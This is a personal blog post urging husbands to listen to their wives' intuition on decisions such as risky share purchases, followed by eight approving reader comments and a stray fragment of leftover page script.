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Hello guys, today is your day 🙂 Guys have asked me several times if my blog was for females alone. No, it’s not! Today, i’ll like to write about a subject which acts as one of the major differences between males and females, and which most of the time is a major source of conflicts.

I’m sure we’ve heard time and time again that males are logical while ladies are emotional, and it shows a lot by the perspective from which we view and address issues. Having being married for a couple of years, i know that one of the best ways to have a great marriage is to have a marriage of perspectives, i.e. be emotionally-logical. This is a topic for another day.

But there’s a part to it that i think guys should take note of and work on. Guys believe that ladies are so annoyingly emotional, and they handle issues too much based on feelings, for example, ladies say things like, it doesn’t feel right, while the guys think, “what does that mean? It doesn’t make sense…

A number of people made investments early last year and it made a lot of sense, but taking a look at the current crash in the prices of shares, oil, and most recently, real estate, an example of this can be cited; let’s take a look at this scenario, a man decides to take a bank facility to buy large quantity of shares, and the wife says, she doesn’t feel he should go ahead with it. He asks why, and she can’t verbalize those feelings. He shoves her opinion aside saying she’s just risk averse and now, the banks are after him to repay back the loss incured based on the crash of stocks after he has lost his own part of the money, right now, he’s under intense pressure. This is just one out of many possible examples, but it’s just to say that losses that can be incurred as a result of not listening to your wife sometimes can be much more than financial.

The morale of the above scenario is the need for guys to step down and listen to the “weaker vessels”, they (females) sense things that might not be easy to explain but they’re real. They have premonitions, and very intuitive. Therefore, i’ll say you need to listen closely to the things she’s not saying and help her through the process of being able to explain it to you.

For the married men, i’ll say one of the best things you can do is to get your wife’s input when you want to make decisions; it’s very important and doesn’t make you less of a man. God knew the power of a wife complementing the husband, and that’s why from the start, the wife’s supposed to be the help meet. So, men, carry your wives along, there’s nothing you’re doing that she shouldn’t be aware of.

Listen to her o, even if you don’t do what she says, it will guide you and serve as a check as you go along. Believe me, she’ll see you more of “her man” if you listen.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

8 Responses to “LISTEN TO HER…”

  1. Ayobami says:

    Otito Oro …
    That is why God said 2 shall chase thousands. The moment one doesn’t agree together on things, there will most likely be issues. Spiritually, it is important to know the power of 2 as against 1. Show me a man who has done well for himself n u will see a woman wrapper LOL … but only to his one love.
    This is a great lesson from u to us n we pray MEN will understand it more to make good decisions in the new year.

  2. JesusFreak says:

    Wow..Tru talk

    I understand the value of women and pray i will always listen to their perspectives. I will also the logically-emotional..

    This reminds me of what someone said today. He said, “Men are dust. Women are bones. You had better realize the strength of women” This he was referring to creation. I understand that we men can’t do without

    Thanks mam

  3. Mother in Isreal,

    Well! Truth is bitter. You have hit the nail on the head. My fiancee will be glad i read this. A word is enough for the wise.

    Oluyemi Adeosun

  4. lanrux says:

    “They (females) sense things that might not be easy to explain but they’re real”, hmmmmm. Funny logic rules!! we live in a world where logic prevails over emotion. Dont get me wrong, LISTENING is a virtue and how u interprete what u ve heard (attitude) will make the difference. Its always interesting hearing a female’s point of view!! am trying it n its working, sometimes!!

  5. byola says:

    I quite agree with you. Sometimes all she requires is someone to listen to her not a Mr “Fix it” like we often appear to be.

    today’s quotable quote, right it down: seek first to understand…before you are understood

  6. Ireti Ishola says:

    Great piece.The importance of listening to your spouse cannot be overemphasized.

  7. A virtuous woman worth is more than a $1B, thanks for this piece. I have learnt something in marriage; either you (men) are right or wrong, women always have the last say so let them have it.

  8. Bukky Alozie says:

    Thanks so much, although this write up is past but i can’t help than to leave a rsponse. Abt six yrs back, i lost my job and i wanted to start my bizness, i told my hubby to sell some of his stocks to add the proceeds into my biz, he refuse outrightly but less than a month the shares started crashing such that the loss he made was more than what he wld have realised if he had sold.

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